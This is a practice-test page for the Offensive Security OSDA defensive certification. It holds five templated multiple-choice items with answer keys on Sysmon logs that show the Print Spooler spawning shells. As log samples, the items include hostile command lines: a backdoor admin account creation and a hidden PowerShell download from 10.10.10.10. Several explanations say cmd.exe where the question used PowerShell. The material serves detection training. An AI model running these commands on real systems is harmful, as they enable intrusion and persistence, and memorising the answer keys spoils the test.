Offensive Security OSDA Practice Test

OSDA practice test: what's covered

• SIEM Querying
• Log Analysis
• Incident Response
• Blue Team

Free OSDA sample questions

1. A SOC analyst is reviewing Sysmon logs and notices Event ID 1. The `ParentImage` is C:\Windows\System32\spoolsv.exe and `Image` is C:\Windows\System32\cmd.exe. The command line contains `cmd.exe /c whoami`. Which of the following best describes this activity?

   • A. A legitimate administrative action to restart the printer services.
   • B. Exploitation of the Print Spooler service leading to unauthorized command execution involving C:\Windows\System32\cmd.exe.
   • C. A scheduled task running as SYSTEM to clear the spooler print queue.
   • D. Normal background printing task checking the current user context running cmd.exe /c whoami.
   Show answer

   Correct: B. The Print Spooler service (spoolsv.exe) spawning a command shell (cmd.exe) is highly anomalous and a classic indicator of spooler vulnerability exploitation (like PrintNightmare). Spoolsv.exe should normally only load printer drivers and manage print jobs, never executing interactive shells.

2. A SOC analyst is reviewing Sysmon logs and notices Event ID 1. The `ParentImage` is C:\Windows\System32\spoolsv.exe and `Image` is C:\Windows\System32\powershell.exe. The command line contains `powershell -ep bypass -c id`. Which of the following best describes this activity?

   • A. A legitimate administrative action to restart the printer services.
   • B. Normal background printing task checking the current user context running powershell -ep bypass -c id.
   • C. Exploitation of the Print Spooler service leading to unauthorized command execution involving C:\Windows\System32\powershell.exe.
   • D. A scheduled task running as SYSTEM to clear the spooler print queue.
   Show answer

   Correct: C. The Print Spooler service (spoolsv.exe) spawning a command shell (cmd.exe) is highly anomalous and a classic indicator of spooler vulnerability exploitation (like PrintNightmare). Spoolsv.exe should normally only load printer drivers and manage print jobs, never executing interactive shells.

3. A SOC analyst is reviewing Sysmon logs and notices Event ID 1. The `ParentImage` is C:\Windows\System32\spoolsv.exe and `Image` is C:\Windows\System32\cmd.exe. The command line contains `cmd.exe /c net user admin1 Password! /add`. Which of the following best describes this activity?

   • A. Normal background printing task checking the current user context running cmd.exe /c net user admin1 Password! /add.
   • B. A scheduled task running as SYSTEM to clear the spooler print queue.
   • C. Exploitation of the Print Spooler service leading to unauthorized command execution involving C:\Windows\System32\cmd.exe.
   • D. A legitimate administrative action to restart the printer services.
   Show answer

   Correct: C. The Print Spooler service (spoolsv.exe) spawning a command shell (cmd.exe) is highly anomalous and a classic indicator of spooler vulnerability exploitation (like PrintNightmare). Spoolsv.exe should normally only load printer drivers and manage print jobs, never executing interactive shells.

4. A SOC analyst is reviewing Sysmon logs and notices Event ID 1. The `ParentImage` is C:\Windows\System32\spoolsv.exe and `Image` is C:\Windows\System32\powershell.exe. The command line contains `powershell.exe -w hidden -c (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev')`. Which of the following best describes this activity?

   • A. A legitimate administrative action to restart the printer services.
   • B. Normal background printing task checking the current user context running powershell.exe -w hidden -c (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev').
   • C. A scheduled task running as SYSTEM to clear the spooler print queue.
   • D. Exploitation of the Print Spooler service leading to unauthorized command execution involving C:\Windows\System32\powershell.exe.
   Show answer

   Correct: D. The Print Spooler service (spoolsv.exe) spawning a command shell (cmd.exe) is highly anomalous and a classic indicator of spooler vulnerability exploitation (like PrintNightmare). Spoolsv.exe should normally only load printer drivers and manage print jobs, never executing interactive shells.

5. A SOC analyst is reviewing Sysmon logs and notices Event ID 1. The `ParentImage` is C:\Windows\System32\spoolsv.exe and `Image` is C:\Windows\System32\cmd.exe. The command line contains `cmd.exe /c ping 127.0.0.1`. Which of the following best describes this activity?

   • A. A legitimate administrative action to restart the printer services.
   • B. Normal background printing task checking the current user context running cmd.exe /c ping 127.0.0.1.
   • C. Exploitation of the Print Spooler service leading to unauthorized command execution involving C:\Windows\System32\cmd.exe.
   • D. A scheduled task running as SYSTEM to clear the spooler print queue.
   Show answer

   Correct: C. The Print Spooler service (spoolsv.exe) spawning a command shell (cmd.exe) is highly anomalous and a classic indicator of spooler vulnerability exploitation (like PrintNightmare). Spoolsv.exe should normally only load printer drivers and manage print jobs, never executing interactive shells.

Last updated: 2026-10-19

OSDA practice test FAQ

Related practice tests

• Offensive Security OSCP practice test
• Offensive Security OSEP practice test
• Offensive Security OSWE practice test